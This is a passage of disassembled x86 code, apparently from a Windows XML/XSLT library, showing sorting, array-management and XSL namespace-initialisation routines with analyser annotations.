and [ebp+64h+arg_8], 0
dec esi
imul esi, edi
push ebx
mov ebx, [ebp+64h+arg_4]
add esi, ebx
loc_69B6DBE4: ; CODE XREF: sub_69B6DBB2+14Aj
; sub_69B6DBB2+168j
mov eax, esi
sub eax, ebx
xor edx, edx
div edi
inc eax
cmp eax, 8
ja short loc_69B6DC3A
cmp esi, ebx
mov [ebp+64h+var_4], esi
jbe loc_69B6DD04
loc_69B6DBFD: ; CODE XREF: sub_69B6DBB2+81j
mov [ebp+64h+var_8], ebx
lea esi, [ebx+edi]
jmp short loc_69B6DC1B
; ---------------------------------------------------------------------------
loc_69B6DC05: ; CODE XREF: sub_69B6DBB2+6Cj
push [ebp+64h+var_8]
push esi
push [ebp+64h+arg_0]
call [ebp+64h+arg_10]
add esp, 0Ch
test eax, eax
jle short loc_69B6DC19
mov [ebp+64h+var_8], esi
loc_69B6DC19: ; CODE XREF: sub_69B6DBB2+62j
add esi, edi
loc_69B6DC1B: ; CODE XREF: sub_69B6DBB2+51j
cmp esi, [ebp+64h+var_4]
jbe short loc_69B6DC05
mov ecx, [ebp+64h+var_4]
mov eax, [ebp+64h+var_8]
mov edx, edi
call sub_69B6DB96
sub [ebp+64h+var_4], edi
cmp [ebp+64h+var_4], ebx
ja short loc_69B6DBFD
jmp loc_69B6DD04
; ---------------------------------------------------------------------------
loc_69B6DC3A: ; CODE XREF: sub_69B6DBB2+3Ej
shr eax, 1
imul eax, edi
add eax, ebx
mov edx, edi
mov ecx, ebx
call sub_69B6DB96
mov [ebp+64h+var_4], ebx
add edi, esi
loc_69B6DC4F: ; CODE XREF: sub_69B6DBB2+B7j
; sub_69B6DBB2+E0j
mov eax, [ebp+64h+var_4]
add eax, [ebp+64h+arg_C]
cmp eax, esi
mov [ebp+64h+var_4], eax
ja short loc_69B6DC6B
push ebx
push eax
push [ebp+64h+arg_0]
call [ebp+64h+arg_10]
add esp, 0Ch
test eax, eax
jle short loc_69B6DC4F
loc_69B6DC6B: ; CODE XREF: sub_69B6DBB2+A8j
; sub_69B6DBB2+CDj
sub edi, [ebp+64h+arg_C]
cmp edi, ebx
jbe short loc_69B6DC81
push ebx
push edi
push [ebp+64h+arg_0]
call [ebp+64h+arg_10]
add esp, 0Ch
test eax, eax
jge short loc_69B6DC6B
loc_69B6DC81: ; CODE XREF: sub_69B6DBB2+BEj
mov eax, [ebp+64h+var_4]
cmp edi, eax
mov edx, [ebp+64h+arg_C]
mov ecx, edi
jb short loc_69B6DC94
call sub_69B6DB96
jmp short loc_69B6DC4F
; ---------------------------------------------------------------------------
loc_69B6DC94: ; CODE XREF: sub_69B6DBB2+D9j
mov eax, ebx
call sub_69B6DB96
mov eax, [ebp+64h+var_4]
mov ecx, edi
sub ecx, ebx
mov edx, esi
dec ecx
sub edx, eax
cmp ecx, edx
jl short loc_69B6DCD3
mov ecx, [ebp+64h+arg_C]
lea edx, [ebx+ecx]
cmp edx, edi
jnb short loc_69B6DCCB
mov edx, [ebp+64h+arg_8]
shl edx, 2
sub edi, ecx
inc [ebp+64h+arg_8]
mov [ebp+edx+64h+var_80], ebx
mov [ebp+edx+64h+var_F8], edi
loc_69B6DCCB: ; CODE XREF: sub_69B6DBB2+101j
cmp eax, esi
jnb short loc_69B6DD01
mov ebx, eax
jmp short loc_69B6DCF9
; ---------------------------------------------------------------------------
loc_69B6DCD3: ; CODE XREF: sub_69B6DBB2+F7j
cmp eax, esi
jnb short loc_69B6DCEB
mov ecx, [ebp+64h+arg_8]
shl ecx, 2
inc [ebp+64h+arg_8]
mov [ebp+ecx+64h+var_80], eax
mov [ebp+ecx+64h+var_F8], esi
loc_69B6DCEB: ; CODE XREF: sub_69B6DBB2+123j
mov eax, [ebp+64h+arg_C]
add eax, ebx
cmp eax, edi
jnb short loc_69B6DD01
sub edi, [ebp+64h+arg_C]
mov esi, edi
loc_69B6DCF9: ; CODE XREF: sub_69B6DBB2+11Fj
mov edi, [ebp+64h+arg_C]
jmp loc_69B6DBE4
; ---------------------------------------------------------------------------
loc_69B6DD01: ; CODE XREF: sub_69B6DBB2+11Bj
; sub_69B6DBB2+140j
mov edi, [ebp+64h+arg_C]
loc_69B6DD04: ; CODE XREF: sub_69B6DBB2+45j
; sub_69B6DBB2+83j
dec [ebp+64h+arg_8]
js short loc_69B6DD1F
mov eax, [ebp+64h+arg_8]
shl eax, 2
mov ebx, [ebp+eax+64h+var_80]
mov esi, [ebp+eax+64h+var_F8]
jmp loc_69B6DBE4
; ---------------------------------------------------------------------------
loc_69B6DD1F: ; CODE XREF: sub_69B6DBB2+155j
pop ebx
loc_69B6DD20: ; CODE XREF: sub_69B6DBB2+1Ej
pop edi
loc_69B6DD21: ; CODE XREF: sub_69B6DBB2+12j
pop esi
add ebp, 64h
leave
retn
sub_69B6DBB2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DD27 proc near ; CODE XREF: sub_69B6DD83+3j
; DATA XREF: .text:69B1F65Co
mov eax, offset off_69B6DD30
retn
sub_69B6DD27 endp
; ---------------------------------------------------------------------------
align 10h
off_69B6DD30 dd offset off_69B29C74 ; DATA XREF: sub_69B6DD27o
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B6DD38 proc near ; CODE XREF: sub_69B6969A+14p
; sub_69B6DD88+14p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
lea eax, ds:10h[ebx*4]
push eax
mov edi, ecx
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], ebx
call sub_69B19118
push 0
push edi
mov dword ptr [esi], offset off_69B1F680
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B6DD38 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DD77 proc near ; DATA XREF: .text:69B1F61Co
push 5
pop eax
retn
sub_69B6DD77 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DD7B proc near ; DATA XREF: .text:69B15554o
; .text:69B156F4o ...
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B65878
sub_69B6DD7B endp
; =============== S U B R O U T I N E =======================================
sub_69B6DD83 proc near ; DATA XREF: .text:69B1F5FCo
sub ecx, 8
jmp short sub_69B6DD27
sub_69B6DD83 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DD88 proc near ; CODE XREF: sub_69B1F57B+47p
; sub_69B1F57B+52p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
lea edi, [esi+10h]
mov ecx, [edi]
mov eax, [ecx+8]
cmp [esi+14h], eax
jl short loc_69B6DDA8
add eax, eax
push eax
call sub_69B6DD38
push eax
push edi
call sub_69B17320
loc_69B6DDA8: ; CODE XREF: sub_69B6DD88+Fj
push dword ptr [esi+14h]
mov ecx, [edi]
call sub_69B1A954
push [esp+8+arg_0]
push eax
call sub_69B17320
inc dword ptr [esi+14h]
pop edi
pop esi
retn 4
sub_69B6DD88 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DDC4 proc near ; DATA XREF: .text:69B1F62Co
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+0Ch], edi
mov ebx, 300h
jle short loc_69B6DDF1
loc_69B6DDD5: ; CODE XREF: sub_69B6DDC4+2Bj
mov ecx, [esi+8]
push edi
call sub_69B1A954
mov ecx, [eax]
test ecx, ecx
jz short loc_69B6DDEB
mov eax, [ecx]
call dword ptr [eax+4Ch]
and ebx, eax
loc_69B6DDEB: ; CODE XREF: sub_69B6DDC4+1Ej
inc edi
cmp edi, [esi+0Ch]
jl short loc_69B6DDD5
loc_69B6DDF1: ; CODE XREF: sub_69B6DDC4+Fj
pop edi
pop esi
mov eax, ebx
pop ebx
retn
sub_69B6DDC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6DDF7 proc near ; DATA XREF: .text:69B1F634o
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
push 100h
mov esi, ecx
call sub_69B88D8C
xor edi, edi
cmp [esi+0Ch], edi
mov [ebp+var_4], eax
jle short loc_69B6DE64
loc_69B6DE15: ; CODE XREF: sub_69B6DDF7+6Bj
mov ecx, [esi+8]
and [ebp+var_14], 0
push edi
mov [ebp+var_10], 0
call sub_69B1A954
mov ecx, [eax]
mov eax, [ecx]
lea edx, [ebp+var_14]
push edx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+54h]
push dword ptr [esi+4]
lea eax, [ebp+var_14]
push eax
push 5
lea ecx, [ebp+var_14]
call sub_69B64008
push [ebp+var_C]
mov ecx, [ebp+var_4]
call sub_69B88EA5
lea ecx, [ebp+var_14]
call sub_69B466CC
inc edi
cmp edi, [esi+0Ch]
jl short loc_69B6DE15
loc_69B6DE64: ; CODE XREF: sub_69B6DDF7+1Cj
push [ebp+var_4]
call sub_69B2F0E0
mov ecx, [ebp+arg_C]
push eax
call sub_69B48684
pop edi
pop esi
leave
retn 10h
sub_69B6DDF7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DE7B proc near ; CODE XREF: sub_69B6DF01+3j
; DATA XREF: .text:69B1F668o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
push ebx
push ebp
push esi
push edi
mov esi, ecx
call sub_69B6C84F
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov ebp, eax
mov eax, [esi+14h]
mov [ebp+14h], eax
mov ebx, [esi+14h]
lea eax, ds:10h[ebx*4]
push eax
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov [edi+8], ebx
call sub_69B19118
push edi
lea ebx, [ebp+10h]
push ebx
mov dword ptr [edi], offset off_69B1F680
call sub_69B17320
xor edi, edi
cmp [esi+14h], edi
jle short loc_69B6DEF7
loc_69B6DECA: ; CODE XREF: sub_69B6DE7B+7Aj
mov eax, [esi+10h]
mov ecx, [ebx]
push edi
mov [esp+1Ch+var_8], eax
call sub_69B1A954
mov ecx, [esp+18h+var_8]
push edi
mov [esp+1Ch+var_4], eax
call sub_69B1A954
mov ecx, [esp+18h+var_4]
push eax
call sub_69B4D414
inc edi
cmp edi, [esi+14h]
jl short loc_69B6DECA
loc_69B6DEF7: ; CODE XREF: sub_69B6DE7B+4Dj
pop edi
pop esi
lea eax, [ebp+8]
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_69B6DE7B endp
; =============== S U B R O U T I N E =======================================
sub_69B6DF01 proc near ; DATA XREF: .text:69B1F608o
var_8 = dword ptr -8
var_4 = dword ptr -4
sub ecx, 8
jmp sub_69B6DE7B
sub_69B6DF01 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DF09 proc near ; DATA XREF: .text:69B1F628o
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea ecx, [esi-8]
call sub_69B6DD88
lea eax, [esi-8]
neg eax
sbb eax, eax
and eax, esi
pop esi
retn 4
sub_69B6DF09 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DF25 proc near ; CODE XREF: sub_69B6C7E4+Ep
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B6DF37
mov ecx, eax
jmp sub_69B1F57B
; ---------------------------------------------------------------------------
loc_69B6DF37: ; CODE XREF: sub_69B6DF25+9j
xor eax, eax
retn 8
sub_69B6DF25 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DF3C proc near ; CODE XREF: DllGetClassObject+63F1p
; sub_69B6EDDE+10p
push 3Ch
push offset dword_69B6E0F8
call sub_69B19C5C
xor ebx, ebx
cmp byte_69B9B640, bl
jnz loc_69B6E09B
push dword_69B929E8
lea ecx, [ebp-1Ch]
call sub_69B18E23
push 1
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], ebx
cmp byte_69B9B640, bl
jnz loc_69B6E087
push offset off_69B6E0A8
call sub_69B19611
mov [ebp-2Ch], eax
push eax ; Value
mov ecx, offset dword_69B9B638 ; Target
call sub_69B188DC
push offset off_69B6E0B8
call sub_69B19611
mov [ebp-30h], eax
push eax ; Value
mov ecx, offset dword_69B9B630 ; Target
call sub_69B188DC
push offset off_69B6E0C8
call sub_69B19611
mov [ebp-34h], eax
push eax ; Value
mov ecx, offset dword_69B9B628 ; Target
call sub_69B188DC
push offset off_69B29CC4
call sub_69B19611
mov [ebp-38h], eax
push eax ; Value
mov ecx, offset dword_69B9B620 ; Target
call sub_69B188DC
push offset off_69B6E0D8
call sub_69B19611
mov [ebp-3Ch], eax
push eax ; Value
mov ecx, offset dword_69B9B618 ; Target
call sub_69B188DC
mov esi, offset off_69B9A450
loc_69B6DFFA: ; CODE XREF: sub_69B6DF3C+F7j
mov [ebp-40h], esi
cmp [esi], ebx
jz short loc_69B6E035
test byte ptr [esi+8], 1
jz short loc_69B6E01C
push dword ptr [esi]
call sub_69B19611
mov [ebp-44h], eax
push eax ; Value
mov ecx, [esi+4]
call sub_69B2FA30
jmp short loc_69B6E030
; ---------------------------------------------------------------------------
loc_69B6E01C: ; CODE XREF: sub_69B6DF3C+C9j
push ebx
push dword ptr [esi]
call sub_69B192B7
mov [ebp-48h], eax
push eax ; Value
mov ecx, [esi+4]
call sub_69B2FA30
loc_69B6E030: ; CODE XREF: sub_69B6DF3C+DEj
add esi, 0Ch
jmp short loc_69B6DFFA
; ---------------------------------------------------------------------------
loc_69B6E035: ; CODE XREF: sub_69B6DF3C+C3j
push dword_69B9B628
push offset off_69B6E0E8
call sub_69B192B7
mov [ebp-4Ch], eax
push eax ; Value
mov ecx, offset dword_69B9B510 ; Target
call sub_69B188DC
call sub_69B70407
call sub_69B7024C
mov byte_69B9B640, 1
jmp short loc_69B6E087
; ---------------------------------------------------------------------------
loc_69B6E066: ; DATA XREF: .text:69B6E0FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6E06F: ; DATA XREF: .text:69B6E100o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B2D599
call sub_69B2E860
loc_69B6E087: ; CODE XREF: sub_69B6DF3C+3Bj
; sub_69B6DF3C+128j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
lea ecx, [ebp-1Ch]
call sub_69B1900C
loc_69B6E09B: ; CODE XREF: sub_69B6DF3C+14j
call sub_69B1853C
retn
sub_69B6DF3C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
off_69B6E0A8 dd offset off_69B17D10 ; DATA XREF: sub_69B6DF3C+41o
align 10h
dd 1Bh
dd offset aHttpWww_w3_o_0 ; "http://www.w3.org/TR/WD-xsl"
off_69B6E0B8 dd offset off_69B17D10 ; DATA XREF: sub_69B6DF3C+59o
align 10h
dd 7
dd offset aUriXsl ; "uri:xsl"
off_69B6E0C8 dd offset off_69B17D10 ; DATA XREF: sub_69B6DF3C+71o
align 10h
dd 24h
dd offset aHttpWww_w3_o_1 ; "http://www.w3.org/1999/XSL/Transform"
off_69B6E0D8 dd offset off_69B17D10 ; DATA XREF: sub_69B6DF3C+A1o
align 10h
dd 3
dd offset aXsl_0 ; "xsl"
off_69B6E0E8 dd offset off_69B17D10 ; DATA XREF: sub_69B6DF3C+FFo
; .data:69B9A5C4o
align 10h
dd 7
dd offset aVersion_2 ; "version"
dword_69B6E0F8 dd 0FFFFFFFFh dd offset loc_69B6E066
dd offset loc_69B6E06F
align 8
aHttpWww_w3_o_0: ; DATA XREF: .text:69B6E0B4o
unicode 0, <http://www.w3.org/TR/WD-xsl>,0
aUriXsl: ; DATA XREF: .text:69B6E0C4o
unicode 0, <uri:xsl>,0
aHttpWww_w3_o_1: ; DATA XREF: .text:69B6E0D4o
unicode 0, <http://www.w3.org/1999/XSL/Transform>,0
align 4
aXsl_0: ; DATA XREF: .text:69B6E0E4o
unicode 0, <xsl>,0
align 8
aVersion_2: ; DATA XREF: .text:69B6E0F4o
unicode 0, <version>,0
; =============== S U B R O U T I N E =======================================
sub_69B6E1B8 proc near ; CODE XREF: sub_69B6699A+316p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, [eax+10h]
cmp dword_69B9B620, ecx
jnz short loc_69B6E1D9
mov edx, dword_69B9B530
xor ecx, ecx
cmp edx, [eax+14h]
setz cl
mov al, cl
jmp short locret_69B6E206
; ---------------------------------------------------------------------------
loc_69B6E1D9: ; CODE XREF: sub_69B6E1B8+Dj
cmp dword_69B9B628, ecx
jnz short loc_69B6E204
mov ecx, [eax+14h]
mov eax, [ecx]
call dword ptr [eax+2Ch]
push dword ptr [eax+8]
mov ecx, [eax+0Ch]
push ecx
push 17h
push offset off_69B9A708
call sub_69B63D0A
test eax, eax
jz short loc_69B6E204
mov al, 1
jmp short locret_69B6E206
; ---------------------------------------------------------------------------
loc_69B6E204: ; CODE XREF: sub_69B6E1B8+27j
; sub_69B6E1B8+46j
xor al, al
locret_69B6E206: ; CODE XREF: sub_69B6E1B8+1Fj
; sub_69B6E1B8+4Aj
retn 4
sub_69B6E1B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E209 proc near ; CODE XREF: sub_69B6E648+1Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [ecx+4]
lea eax, [eax+eax*2]
movzx eax, byte_69B9A8A8[edx+eax*4]
cmp eax, 9
jz short locret_69B6E22A
cmp eax, 0Ah
jz short locret_69B6E22A
mov [ecx], edx
mov [ecx+4], eax
locret_69B6E22A: ; CODE XREF: sub_69B6E209+15j
; sub_69B6E209+1Aj
retn 4
sub_69B6E209 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E22D proc near ; CODE XREF: sub_69B6E6C4+21p
arg_0 = dword ptr 4
cmp [esp+arg_0], 3
jnz short loc_69B6E239
push 0Ah
pop eax
jmp short locret_69B6E259
; ---------------------------------------------------------------------------
loc_69B6E239: ; CODE XREF: sub_69B6E22D+5j
cmp [esp+arg_0], 0Fh
lea eax, [ecx+4]
mov edx, [eax]
mov [ecx], edx
jnz short loc_69B6E254
cmp edx, 5
jz short loc_69B6E257
mov dword ptr [eax], 1
jmp short loc_69B6E257
; ---------------------------------------------------------------------------
loc_69B6E254: ; CODE XREF: sub_69B6E22D+18j
and dword ptr [eax], 0
loc_69B6E257: ; CODE XREF: sub_69B6E22D+1Dj
; sub_69B6E22D+25j
mov eax, [eax]
locret_69B6E259: ; CODE XREF: sub_69B6E22D+Aj
retn 4
sub_69B6E22D endp
; =============== S U B R O U T I N E =======================================
sub_69B6E25C proc near ; CODE XREF: sub_69B6F131+37p
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
jz short locret_69B6E274
movzx eax, [esp+arg_0]
shl eax, 3
xor eax, [ecx+58h]
and eax, 8
xor [ecx+58h], eax
locret_69B6E274: ; CODE XREF: sub_69B6E25C+5j
retn 4
sub_69B6E25C endp
; =============== S U B R O U T I N E =======================================
sub_69B6E277 proc near ; CODE XREF: sub_69B6ACD6+3Bp
; sub_69B6E8BD+53p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov ecx, [esp+arg_C]
test ecx, ecx
push ebx
push esi
push edi
mov esi, offset off_69B1A5AC
jz short loc_69B6E290
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ebx, eax
jmp short loc_69B6E292
; ---------------------------------------------------------------------------
loc_69B6E290: ; CODE XREF: sub_69B6E277+Ej
mov ebx, esi
loc_69B6E292: ; CODE XREF: sub_69B6E277+17j
mov ecx, [esp+0Ch+arg_8]
test ecx, ecx
jz short loc_69B6E2A3
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov edi, eax
jmp short loc_69B6E2A5
; ---------------------------------------------------------------------------
loc_69B6E2A3: ; CODE XREF: sub_69B6E277+21j
mov edi, esi
loc_69B6E2A5: ; CODE XREF: sub_69B6E277+2Aj
mov ecx, [esp+0Ch+arg_4]
test ecx, ecx
jz short loc_69B6E2B4
mov eax, [ecx]
call dword ptr [eax+2Ch]
jmp short loc_69B6E2B6
; ---------------------------------------------------------------------------
loc_69B6E2B4: ; CODE XREF: sub_69B6E277+34j
mov eax, esi
loc_69B6E2B6: ; CODE XREF: sub_69B6E277+3Bj
push 0
push ebx
push edi
push eax
push [esp+1Ch+arg_0]
push 80004005h
call sub_69B2E9D0
add esp, 18h
pop edi
pop esi
pop ebx
retn 10h
sub_69B6E277 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E2D2 proc near ; DATA XREF: .text:69B185F4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
lea eax, [ecx-10h]
push [esp+4+arg_8]
add ecx, 7Ch
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
push eax
call sub_69B71074
retn 10h
sub_69B6E2D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E2F1 proc near ; DATA XREF: .text:69B185F8o
arg_0 = dword ptr 4
push [esp+arg_0]
lea eax, [ecx-10h]
push eax
add ecx, 7Ch
call sub_69B70A67
retn 4
sub_69B6E2F1 endp
; ---------------------------------------------------------------------------
loc_69B6E304: ; DATA XREF: .text:off_69B185E0o
mov eax, [esp+4]
sub eax, 0
jz short loc_69B6E327
dec eax
jz short loc_69B6E31F
dec eax
jz short loc_69B6E317
xor al, al
jmp short locret_69B6E330
; ---------------------------------------------------------------------------
loc_69B6E317: ; CODE XREF: .text:69B6E311j
mov eax, [ecx+44h]
shr eax, 7
jmp short loc_69B6E32D
; ---------------------------------------------------------------------------
loc_69B6E31F: ; CODE XREF: .text:69B6E30Ej
mov eax, [ecx+44h]
shr eax, 6
jmp short loc_69B6E32D
; ---------------------------------------------------------------------------
loc_69B6E327: ; CODE XREF: .text:69B6E30Bj
mov eax, [ecx+44h]
shr eax, 2
loc_69B6E32D: ; CODE XREF: .text:69B6E31Dj
; .text:69B6E325j
and eax, 1
locret_69B6E330: ; CODE XREF: .text:69B6E315j
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B6E333 proc near ; CODE XREF: sub_69B7401B+20p
; sub_69B74222+6Cp
push esi
mov esi, ecx
cmp byte ptr [esi+1Ch], 0
jnz short loc_69B6E35D
mov ecx, [esi+18h]
call sub_69B3D989
mov ecx, [esi+0B4h]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov ecx, eax
call sub_69B3D989
mov byte ptr [esi+1Ch], 1
loc_69B6E35D: ; CODE XREF: sub_69B6E333+7j
pop esi
retn
sub_69B6E333 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E35F proc near ; CODE XREF: sub_69B6ED05+14p
push esi
mov esi, ecx
cmp byte ptr [esi+1Ch], 0
jz short loc_69B6E395
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B6E376
push 0
call sub_69B3D9B7
loc_69B6E376: ; CODE XREF: sub_69B6E35F+Ej
mov ecx, [esi+0B4h]
test ecx, ecx
jz short loc_69B6E391
mov eax, [ecx]
push 0
call dword ptr [eax+0B4h]
mov ecx, eax
call sub_69B3D9B7
loc_69B6E391: ; CODE XREF: sub_69B6E35F+1Fj
mov byte ptr [esi+1Ch], 0
loc_69B6E395: ; CODE XREF: sub_69B6E35F+7j
pop esi
retn
sub_69B6E35F endp
; =============== S U B R O U T I N E =======================================
sub_69B6E397 proc near ; CODE XREF: sub_69B6B945+Ap
; sub_69B6EBE0+Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
mov eax, esi
imul eax, 1Ch
add eax, [esp+4+arg_0]
push eax
call sub_69B17EF3
mov [eax+8], esi
pop esi
retn
sub_69B6E397 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E3B0 proc near ; CODE XREF: sub_69B6EB1C+11p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [ecx]
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
push edi
push [esp+8+arg_8]
push [esp+0Ch+arg_4]
push eax
call dword ptr [edx+3Ch]
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
mov eax, edi
pop edi
pop esi
retn 0Ch
sub_69B6E3B0 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E3D7 proc near ; DATA XREF: .text:69B18618o
push 10h
push offset dword_69B6E438
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov eax, [ebp+8]
mov ecx, [eax+54h]
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov ecx, eax
mov [ebp-1Ch], ecx
call sub_69B2F352
mov ecx, [ebp+0Ch]
mov [ecx], eax
xor eax, eax
mov [ebp-20h], eax
jmp short loc_69B6E426
; ---------------------------------------------------------------------------
loc_69B6E408: ; DATA XREF: .text:69B6E43Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6E411: ; DATA XREF: .text:69B6E440o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6E426: ; CODE XREF: sub_69B6E3D7+2Fj
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 8
sub_69B6E3D7 endp
; ---------------------------------------------------------------------------
align 8
dword_69B6E438 dd 0FFFFFFFFh dd offset loc_69B6E408
dd offset loc_69B6E411
; =============== S U B R O U T I N E =======================================
sub_69B6E444 proc near ; DATA XREF: .text:69B140B4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B71363
retn 8
sub_69B6E444 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E454 proc near ; DATA XREF: .text:69B140F4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B71542
retn 8
sub_69B6E454 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E464 proc near ; DATA XREF: .text:69B13D60o
; .text:69B140B0o ...
push 1Ch
pop eax
retn
sub_69B6E464 endp
; =============== S U B R O U T I N E =======================================
sub_69B6E468 proc near ; CODE XREF: .text:69B6E4F8p
; .text:69B6E512p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [ecx+2Ch]
mov edx, [esp+arg_0]
add eax, 0Ch
test edx, edx
jg short loc_69B6E491
movsx ecx, word ptr [ecx+32h]
imul ecx, 1Ch
lea ecx, [ecx+eax-1Ch]
cmp dword ptr [ecx+18h], 0
jnz short loc_69B6E48A
sub ecx, 1Ch
loc_69B6E48A: ; CODE XREF: sub_69B6E468+1Dj
imul edx, 1Ch
add ecx, edx
jmp short loc_69B6E498
; ---------------------------------------------------------------------------
loc_69B6E491: ; CODE XREF: sub_69B6E468+Cj
imul edx, 1Ch
add edx, eax
mov ecx, edx
loc_69B6E498: ; CODE XREF: sub_69B6E468+27j
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jnz short loc_69B6E4A5
mov eax, ecx
jmp short loc_69B6E4E9
; ---------------------------------------------------------------------------
loc_69B6E4A5: ; CODE XREF: sub_69B6E468+37j
push edi
xor edi, edi
inc edi
cmp esi, edi
jz short loc_69B6E4E8
test esi, esi
jge short loc_69B6E4BC
or edi, 0FFFFFFFFh
mov edx, ecx
neg esi
mov ecx, eax
jmp short loc_69B6E4BF
; ---------------------------------------------------------------------------
loc_69B6E4BC: ; CODE XREF: sub_69B6E468+47j
lea edx, [eax+1Ch]
loc_69B6E4BF: ; CODE XREF: sub_69B6E468+52j
dec esi
push ebx
loc_69B6E4C1: ; CODE XREF: sub_69B6E468+6Fj
cmp dword ptr [edx+0Ch], 0
jz short loc_69B6E4CC
test esi, esi
jz short loc_69B6E4D9
dec esi
loc_69B6E4CC: ; CODE XREF: sub_69B6E468+5Dj
cmp edx, ecx
jz short loc_69B6E4DD
mov ebx, edi
imul ebx, 1Ch
add edx, ebx
jmp short loc_69B6E4C1
; ---------------------------------------------------------------------------
loc_69B6E4D9: ; CODE XREF: sub_69B6E468+61j
mov eax, edx
jmp short loc_69B6E4E7
; ---------------------------------------------------------------------------
loc_69B6E4DD: ; CODE XREF: sub_69B6E468+66j
cmp edx, eax
jnz short loc_69B6E4E5
test esi, esi
jz short loc_69B6E4E7
loc_69B6E4E5: ; CODE XREF: sub_69B6E468+77j
xor eax, eax
loc_69B6E4E7: ; CODE XREF: sub_69B6E468+73j
; sub_69B6E468+7Bj
pop ebx
loc_69B6E4E8: ; CODE XREF: sub_69B6E468+43j
pop edi
loc_69B6E4E9: ; CODE XREF: sub_69B6E468+3Bj
pop esi
retn 8
sub_69B6E468 endp
; ---------------------------------------------------------------------------
loc_69B6E4ED: ; DATA XREF: .text:off_69B185E8o
push dword ptr [esp+8]
add ecx, 0FFFFFFF0h
push dword ptr [esp+8]
call sub_69B6E468
test eax, eax
jz short locret_69B6E504
mov eax, [eax+18h]
locret_69B6E504: ; CODE XREF: .text:69B6E4FFj
retn 8
; ---------------------------------------------------------------------------
loc_69B6E507: ; DATA XREF: .text:69B185ECo
push dword ptr [esp+8]
add ecx, 0FFFFFFF0h
push dword ptr [esp+8]
call sub_69B6E468
test eax, eax
jz short locret_69B6E51E
mov eax, [eax+0Ch]
locret_69B6E51E: ; CODE XREF: .text:69B6E519j
retn 8
; ---------------------------------------------------------------------------
loc_69B6E521: ; DATA XREF: .text:69B185F0o
push esi
push edi
push 0
push dword ptr [esp+10h]
